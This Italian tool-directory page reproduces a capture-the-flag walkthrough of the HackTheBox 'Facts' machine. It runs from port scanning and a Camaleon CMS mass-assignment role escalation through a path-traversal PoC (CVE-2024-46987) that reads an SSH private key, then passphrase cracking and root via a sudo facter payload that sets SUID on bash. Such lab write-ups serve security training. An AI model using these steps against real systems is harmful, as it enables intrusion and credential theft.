Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
HackTheBox-Facts — HTB Facts è una macchina Linux facile che include Camaleon CMS e MinIO. Ottieni l'accesso amministrativo tramite registrazione aperta e una vulnerabilità di mass assignment, quindi estrai le credenziali MinIO dalle impostazioni di amministrazione. Utilizza il path traversal CVE-2024-46987 per rubare una chiave privata SSH, crackare la sua passphrase e ottenere i privilegi di root abusando dei permessi sudo su facter tramite GTFOBins. | Kitploit
Strumenti/GitHubGitHub/suriyaboon/hackthebox-facts
Escalation di PrivilegiRicognizioneAttacchi alle PasswordAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingSicurezza Cloud

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

HTB Facts è una macchina Linux facile che include Camaleon CMS e MinIO. Ottieni l'accesso amministrativo tramite registrazione aperta e una vulnerabilità di mass assignment, quindi estrai le credenziali MinIO dalle impostazioni di amministrazione. Utilizza il path traversal CVE-2024-46987 per rubare una chiave privata SSH, crackare la sua passphrase e ottenere i privilegi di root abusando dei permessi sudo su facter tramite GTFOBins.

Apprendimento e Formazione
GitHubsuriyaboon/hackthebox-facts

HackTheBox-Facts

Vedi Repository
2 mesi faNon ancora revisionato
Condividi

HTB Facts — Writeup Completo

Difficoltà: Media
Sistema operativo: Linux
Tag: Web, MinIO, Camaleon CMS, Path Traversal, SSTI, Privilege Escalation


Indice

  1. Ricognizione
  2. Enumerazione Web — Porta 80
  3. Scoperta di MinIO — Porta 54321
  4. Camaleon CMS — Accesso Admin
  5. Escalation dei privilegi al ruolo Admin
  6. Scoperta delle credenziali MinIO
  7. Lettura arbitraria di file — CVE-2024-46987
  8. Accesso SSH come trivia
  9. Escalation dei privilegi a root
  10. Flag

Ricognizione

Inizia con una scansione completa delle porte TCP per identificare i servizi attivi.

root@kitploit:~
nmap -p- --min-rate 5000 -T4 10.129.244.96

Risultati:

PortaServizioNote
22SSHOpenSSH
80HTTPNginx 1.26.3 (Ubuntu)
54321SconosciutaIdentificata come MinIO

Aggiungi il target a /etc/hosts:

root@kitploit:~
echo "10.129.244.96 facts.htb" >> /etc/hosts

Enumerazione Web — Porta 80

Visitando http://facts.htb si scopre un sito web di trivia basato su Camaleon CMS (Ruby on Rails). Indicatori principali:

  • Nome del cookie: _factsapp_session (sessione Rails)
  • Percorsi degli asset: /assets/themes/camaleon_first/
  • Token CSRF nei meta tag
  • Server: nginx/1.26.3 (Ubuntu)

Enumera la sitemap per tutte le pagine disponibili:

root@kitploit:~
curl -s http://facts.htb/sitemap.xml

Percorsi notevoli scoperti:

  • /admin → reindirizza a /admin/login
  • /rss
  • Varie pagine trivia: /animal-ejected, /anne-frank, ecc.

Controlla il pannello di login admin:

root@kitploit:~
curl -v http://facts.htb/admin
# → 302 redirect to /admin/login

Scoperta di MinIO — Porta 54321

Sondando la porta sconosciuta con curl si scopre MinIO, un servizio di object storage compatibile con S3:

root@kitploit:~
curl -v http://facts.htb:54321

Risposta:

root@kitploit:~
<Error>
  <Code>AccessDenied</Code>
  <Message>Access Denied.</Message>
</Error>

Le intestazioni confermano: Server: MinIO

Enumera i possibili nomi di bucket (tutti restituiscono 403, confermando che esistono):

root@kitploit:~
for bucket in facts backup uploads media files images data private secret admin internal; do
  code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
  echo "$bucket: $code"
done

Tutti restituiscono 403 Forbidden — i bucket esistono ma richiedono credenziali.


Camaleon CMS — Accesso Admin

Identificazione del CMS

Dai percorsi degli asset e dal cookie di sessione, il CMS viene identificato come Camaleon CMS.

Controlla le vulnerabilità note:

root@kitploit:~
searchsploit camaleon

Risultati:

root@kitploit:~
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)   | ruby/webapps/51489.txt

La versione del pannello admin è confermata come 2.9.0 (visibile nel footer dopo l'accesso).

Creazione di un account

La pagina di login admin all'indirizzo http://facts.htb/admin/login include un link "Crea un account". Registra un nuovo account:

  • Vai su http://facts.htb/admin/users/sign_up
  • Inserisci credenziali valide qualsiasi (es. test123 / test123)
  • Invia — crea un account con ruolo Client

Dopo la registrazione, accedi al pannello admin. L'account ha privilegi limitati di Client.


Escalation dei privilegi al ruolo Admin

Vulnerabilità di Mass Assignment

Camaleon CMS è vulnerabile a un attacco di mass assignment sull'endpoint di modifica della password. Intercettando la richiesta di modifica della password e iniettando un parametro password[role], un attaccante può elevare il proprio ruolo a admin.

Passaggi con Burp Suite:

  1. Accedi al pannello admin con l'account Client.
  2. Vai su Profile → Edit → Change Password.
  3. Inserisci una nuova password qualsiasi e clicca Process.
  4. Intercetta la richiesta POST in Burp Suite.
  5. Aggiungi &password[role]=admin al corpo della richiesta:
root@kitploit:~
_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
  1. Inoltra la richiesta — la risposta dovrebbe essere 200 OK.
  2. Accedi di nuovo con le credenziali aggiornate.

L'account ora dispone di privilegi admin, con accesso completo al pannello admin del CMS, inclusi Settings, Media e Filesystem Settings.


Scoperta delle credenziali MinIO

Con accesso admin, vai su:

root@kitploit:~
Settings → General Site → Filesystem Settings

La pagina rivela credenziali MinIO (compatibili con AWS S3) hardcoded:

root@kitploit:~
AWS S3 Access Key:    AKIA59D605615FFC8875
AWS S3 Secret Key:    O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name:   randomfacts
AWS S3 Region:        us-east-1
AWS S3 Endpoint:      http://localhost:54321

Configura AWS CLI ed enumera i bucket:

root@kitploit:~
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'

aws s3 ls --endpoint-url http://facts.htb:54321

Bucket scoperti:

root@kitploit:~
2025-09-11  internal
2025-09-11  randomfacts

Il bucket internal contiene la directory home dell'utente trivia:

root@kitploit:~
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321

# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321

Lettura arbitraria di file — CVE-2024-46987

In alternativa, la chiave privata SSH può essere recuperata tramite CVE-2024-46987, una vulnerabilità di path traversal autenticata in Camaleon CMS che consente di leggere file arbitrari del server.

Clona il PoC pubblico:

root@kitploit:~
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987

Leggi file sensibili:

root@kitploit:~
# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd

Output (righe pertinenti):

root@kitploit:~
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

Vengono identificati due utenti: trivia e william. Poiché trivia ha una shell di login e una home directory, verifica la presenza di una chiave privata SSH:

root@kitploit:~
# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519

Salva l'output della chiave in un file:

root@kitploit:~
chmod 600 id_ed25519

Accesso SSH come trivia

Cracking della passphrase della chiave SSH

La chiave privata SSH è crittografata con una passphrase. Usa ssh2john e john per forzarla:

root@kitploit:~
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

Passphrase trovata: dragonballz

Accesso via SSH

root@kitploit:~
ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz

Recupera la flag utente:

root@kitploit:~
cat /home/william/user.txt

Escalation dei privilegi a root

Permessi sudo

Controlla i privilegi sudo per l'utente trivia:

root@kitploit:~
sudo -l

Output:

root@kitploit:~
User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

L'utente può eseguire /usr/bin/facter come root senza password. facter è uno strumento di informazioni di sistema basato su Ruby.

GTFOBins — facter

Secondo GTFOBins, facter può caricare file di fact Ruby personalizzati tramite --custom-dir, che vengono eseguiti come l'utente che invoca il comando (root in questo caso).

Exploit:

root@kitploit:~
# Create exploit directory and Ruby payload
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF

# Execute facter as root with the custom directory
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x

# Verify SUID bit is set on bash
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...

# Spawn root shell
/bin/bash -p

Recupera la flag di root

root@kitploit:~
whoami
# root

cat /root/root.txt

Flag

FlagPosizione
user.txt/home/william/user.txt
root.txt/root/root.txt

Riepilogo della catena di attacco

root@kitploit:~
Nmap Scan
    ↓
Port 80: Camaleon CMS 2.9.0
    ↓
Register Client Account → Admin Panel
    ↓
Mass Assignment: password[role]=admin → Admin Role
    ↓
Admin Settings → MinIO Credentials Exposed
    ↓
CVE-2024-46987: Path Traversal → Read /home/trivia/.ssh/id_ed25519
    ↓
ssh2john + John → Passphrase: dragonballz
    ↓
SSH Login as trivia
    ↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
    ↓
/bin/bash -p → root

CVE e Riferimenti

CVEDescrizione
CVE-2024-46987Path traversal autenticata / lettura arbitraria di file in Camaleon CMS
CVE-2023-30145SSTI in Camaleon CMS v2.7.0 tramite il parametro formats (non utilizzata in questa macchina)
  • GTFOBins — facter
  • CVE-2024-46987 PoC
  • Camaleon CMS GitHub
Scarica lo strumento